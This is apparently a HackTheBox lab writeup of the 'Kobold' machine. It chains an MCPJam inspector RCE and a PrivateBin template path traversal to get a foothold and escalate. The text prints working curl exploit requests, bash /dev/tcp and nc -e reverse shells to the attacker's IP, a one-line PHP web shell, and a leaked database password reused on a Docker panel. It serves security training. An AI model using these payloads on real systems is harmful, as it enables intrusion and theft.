Kobold

📅 Last Updated: Apr 13, 2026 07:10 | 📄 Size: 14.8 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ nmap -sC -sV -Pn 10.129.245.50 -oN ./nmap.txt 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 03:54 +0000
Nmap scan report for 10.129.245.50
Host is up (0.35s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-server-header: nginx/1.24.0 (Ubuntu)
3552/tcp open  http     syn-ack Golang net/http server
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.18 seconds

Let's add kobold.htbto our /etc/hosts

Https - tcp 80/443

From the index page, I did not find anything interesting here.

Let's continue to check the sub-domains and web-contents

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ ffuf -u https://kobold.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.kobold.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 387ms]

Add it to our /etc/hostsand check it I have tried the sign in and create account, I found they all redirect to mcpjam.com, so this would not be access path.

By simple enumerating the version and the exploits of MCPJam, I can find some RCE

REC in MCPJam inspector due to HTTP Endpoint exposes
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6

RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}​},\"serverId\":\"mytest\"}"

Let's try it to see whether it worked and we just need to change the windows command into Linux command

cmd="wget http://10.10.14.9/"
curl -sk https://mcp.kobold.htb/api/mcp/connect \
  --header 'Content-Type: application/json' \
  --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"$cmd\"],\"env\":{}​},\"serverId\":\"audit\"}"

Now we can find it worked

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ cmd="wget http://10.10.14.9/"
curl -sk https://mcp.kobold.htb/api/mcp/connect \
  --header 'Content-Type: application/json' \
  --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"$cmd\"],\"env\":{}​},\"serverId\":\"audit\"}"
{"success":false,"error":"Connection failed for server audit: MCP error -32000: Connection closed","details":"MCP error -32000: Connection closed"}                                                                                              
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.245.50 - - [05/Apr/2026 06:15:47] "GET / HTTP/1.1" 200 -                                                          

Let's switch it to the reverse shell

cmd="bash -i >& /dev/tcp/10.10.14.9/443 0>&1"
curl -sk https://mcp.kobold.htb/api/mcp/connect \
  --header 'Content-Type: application/json' \
  --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"$cmd\"],\"env\":{}​},\"serverId\":\"audit\"}"

Finally we can get the shell as ben

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.245.50] 59422
bash: cannot set terminal process group (1523): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami
whoami
ben
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

To help us get the stable shell, we can upgrade it.

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Privilege Escalation

I would like check sudo -lfirstly, but we don't have valid credit and can't access

ben@kobold:~$ sudo -l
[sudo] password for ben: 

From home directory, I found another account alice

ben@kobold:/home$ ls -al
total 16
drwxr-xr-x  4 root  root  4096 Mar 15 21:23 .
drwxr-xr-x 22 root  root  4096 Mar 16 20:57 ..
drwxr-x---  2 alice alice 4096 Mar 16 14:12 alice
drwxr-x---  3 ben   ben   4096 Mar 16 14:12 ben
ben@kobold:/home$ cd alice
bash: cd: alice: Permission denied

But still can't access.

Now use Linpeas.shto help us find the targeted process in the background

╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root        1941  0.0  0.1 1744844 5040 ?        Sl   Mar21   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.2 -container-port 8080 -use
-listen-fd
ben         4336  0.0  0.2  20228 11268 ?        Ss   04:31   0:00 /usr/lib/systemd/systemd --user
└─(Caps) 0x0000000800000000=cap_wake_alarm

╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
ether 8a:5b:54:e7:34:4d  txqueuelen 0  (Ethernet)
RX packets 2270  bytes 7719798 (7.7 MB)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 2266  bytes 514323 (514.3 KB)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth445236f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
ether 5a:c0:2c:d7:06:9a  txqueuelen 0  (Ethernet)
RX packets 2270  bytes 7751578 (7.7 MB)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 2266  bytes 514323 (514.3 KB)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (netstat)
tcp        0      0 127.0.0.1:41137         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:6274          0.0.0.0:*               LISTEN      1613/node
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::3552                 :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Between docker0 and the localhost listener on 127.0.0.1:8080, it's clear that an internally containerized web service is running on the host.

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/privatebin-data/data
/privatebin-data/data/bd
/privatebin-data/data/bd/b5
/privatebin-data/data/.htaccess
/privatebin-data/data/purge_limiter.php
/privatebin-data/data/salt.php

╔══════════╣ Unexpected in root
/privatebin-data
/app

To help us check this service, we can use ssh to port forwarding. We can get the version PrivateBin 2.0.2 After checking the exploits of it, we can find

Template-switching feature allowing arbitrary local file inclusion through path traversal
https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82

# basic validation pattern PoC
curl -sk --cookie 'template=../cfg/conf' https://bin.kobold.htb/

Now we can test it

ben@kobold:~$ curl -isk --cookie 'template=../cfg/conf' https://bin.kobold.htb/
HTTP/1.1 500 Internal Server Error
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 05 Apr 2026 06:36:27 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-store, no-cache, no-transform, must-revalidate
Pragma: no-cache
Expires: Sun, 05 Apr 2026 06:36:27 GMT
Last-Modified: Sun, 05 Apr 2026 06:36:27 GMT
Vary: Accept
Content-Security-Policy: default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Permissions-Policy: browsing-topics=()
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
Set-Cookie: template=..%2Fcfg%2Fconf; secure; SameSite=Lax

This 500 error strongly indicates that template cookies have been accepted and are being used during template parsing.

linPEAS has demonstrated that ben can write to the /privatebin-data/data directory. This means that if we write a malicious reverse shell and execute it using LFI, we can obtain a reverse shell within the Docker environment. Let's exploit it

ben@kobold:~$ echo '<?php system($_GET["x"]); ?>' > /privatebin-data/data/2.php
ben@kobold:~$ curl -sk --cookie 'template=../data/2' 'https://bin.kobold.htb/?x=id'
uid=65534(nobody) gid=82(www-data) groups=82(www-data)

Let's continue to get the reverse shell, it seems no bash or curl from the target, so maybe ncwould be fun

ben@kobold:~$ curl -sk --cookie 'template=../data/2' --get --data-urlencode 'x=which curl; which wget; which bash; which nc' https://bin.kobold.htb/
/usr/bin/wget
/usr/bin/nc

Get the shell with nc

cmd='nc '"10.10.14.9"' 443 -e /bin/sh'
curl -sk --cookie 'template=../data/2' --get --data-urlencode "x=$cmd" https://bin.kobold.htb/

Now get the shell as www-datain the docker container

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Kobold]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.245.50] 45767
id
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
whoami
nobody
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether c2:d0:f3:29:10:17 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Now enumerate the file system and find the valid credit

ls -lah /srv
total 32K    
drwxr-xr-x    1 root     root        4.0K Oct 28 16:02 .
drwxr-xr-x    1 root     root        4.0K Mar 15 21:23 ..
drwxrwxr-x    2 nobody   www-data    4.0K Oct 28 16:02 bin
drwxr-x---    2 root     www-data    4.0K Mar 15 21:23 cfg
drwxrwxrwx    5 root     37          4.0K Apr  5 06:39 data
drwxrwxr-x    6 nobody   www-data    4.0K Oct 28 16:02 lib
drwxrwxr-x    2 nobody   www-data    4.0K Oct 28 16:02 tpl
drwxrwxr-x   20 nobody   www-data    4.0K Oct 28 16:02 vendor
ls /srv/cfg
conf.php
cat /srv/cfg/conf.php
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"    ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true   ; PDO::ATTR_PERSISTENT

Because class = Database is commented out, these credentials are considered leaked but not in use.

Still remember there is a port 3552 The default username is arcane, so we can try the credit

username: arcane
password: ComplexP@sswordAdmin1928

We can find the image # privatebin/nginx-fpm-alpine:2.0.2worked here

Arcane is a Docker management panel, so once logged in as an administrator, you can create a root container and mount the host filesystem into it.

Login to Arcane dashboard.

Go to Containers.

Create a new container from the same PrivateBin image already present.

Got access to shell of this container,and get the root shell.

Description

Overall, it's an interesting demonstration of the use and utilization of a Docker container hosting platform, using a very simple machine.